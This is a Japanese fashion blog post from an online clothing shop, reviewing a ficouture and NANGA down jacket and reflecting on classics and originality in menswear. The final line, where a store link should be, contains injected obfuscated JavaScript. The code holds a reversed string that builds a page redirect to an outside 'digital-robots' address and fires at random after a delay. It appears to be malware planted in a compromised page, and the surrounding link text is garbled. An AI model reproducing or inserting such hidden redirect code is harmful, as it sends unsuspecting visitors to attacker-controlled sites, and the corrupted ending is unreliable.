Matthews' Issue

アメカジオンラインショップのマニアックブログ。アメリカンカジュアルは面白い!

定番とオリジナリティ

      2018/01/13

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定番に寄り添う安心感

ficoutureのTravel Down Jacketをオンラインストアにアップしました。

生産を担当しているNANGAは滋賀・米原にあるダウンシュラフ(寝袋)の国内トップブランド。折り紙付きのクオリティーながらもギヤに寄りがちの淡白なルックスに、ficoutureがデザインを加えているのがこのコラボレーションシリーズです。

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ロイヤルブルーは例年同様にNANGA独自開発の完全防水オーロラテックナイロンです。カーキは初お目見えのウオッシュドナイロン(こちらはficoutureオリジナルファブリック)を使っています。光沢が失せてくたったナイロンの質感で、使い込まれたミリタリーウエアのような雰囲気になっています。

昨年モデル同様にN-3Bをモチーフにしたダウンジャケットですが、ここんちのイイところ(かつ、去年買った人にとっては泣き所)は、

「人気あったし今回も作るよ!シーズン通して着てみてアレだった部分は当然改良するよ!」

をガツガツやってしまうところなんですね。

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着丈が少し長くなり、立ち襟の内側にリブ襟をセットして防寒性をさらに上げています。さらにインナーポケットを増やして、スマホやお財布だけでなく、パスポートやタブレットや文庫本など、旅先でさっと取り出したいこまごましたグッズを収納できるようにしました。

名前にもある「Travel」はficoutureのブランドコンセプトのひとつですが、旅行でなくとも、「決まった場所からさっと取り出せるポケット」は普段の外出でも使いやすいですよね。ビニール袋ひとつで海外に行けちゃうくらいだから、このジャケットだけで旅行に行けないこともないのかも!(バッグ好きな私はやりませんけどね)

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オリジナリティとは何ぞや

オリンピックロゴの一件以来、普段オリジナリティや著作権といったものを意識していなかった人たち含めて「デザインのオリジナリティ」に対して国民総批評家状態になっています。

ファッション雑誌を読んでいると、たまに「デザインを昇華」だと、か「オリジナリティあるデザイン」といった文言を目にしますが、市販されるメンズファッションに限っては、ワーク、スポーツ、ミリタリーからの影響を除いた全く新しいデザインというのはないのですね(言っているのは服の作り手ではなく雑誌側と思いますが)。

版権については比較的緩い業界なのでモメ事はそんな多くはありませんが、それは誰しもが「どこかから借りてきた」ことに対する意識があるから。その点についてはラルフ・ローレンもトム・フォードも認めています。Levi'sくらいですよ、あんなゴリゴリ厳しいのは。

制服・ユニフォームが起源のメンズファッションは、その意味においても元々保守的な嗜好に基づいていて、「ウンチク」「超定番」といったものがもてはやされるのにも見て取れます。

まわるーまーわるーよ

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そして中島みゆきに言われるまでもなく時代は巡ります。大体30年で戻ってくるといわれるファッションの流行。

僕が服の楽しさに目覚める前に流行したいわゆる70年代ファッションの揺り戻しだったトゥルーレリジョンのフレアパンツは穿けましたけれど、多くの同世代の服好きオッサンにとって黒歴史に該当するであろうケミカルウォッシュジーンズには今どれだけアツくても手が出せません(笑)。たぶん人生の内にひとつの流行りに乗っていいのは一度だけで、だからこそ定番と呼ばれるものに頼りたくなってしまうのかも知れませんね。

あと10年したら、いまの僕の年齢のファッション好きは「いやー当時は色々買い漁りましたけど、今更ハイテクスニーカーってのもねぇ……」なんて言っているかも。

というわけで、ある程度の年齢になったら定番的なものに時代的なエッセンスやアレンジをちょっと加えたアイテムを選ぶのが、程よいファッションとの付き合い方なんだと思うのですね。コーディネイト編はまた次回。

オンラインストアはこちらです。→ Matthews Online Stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore

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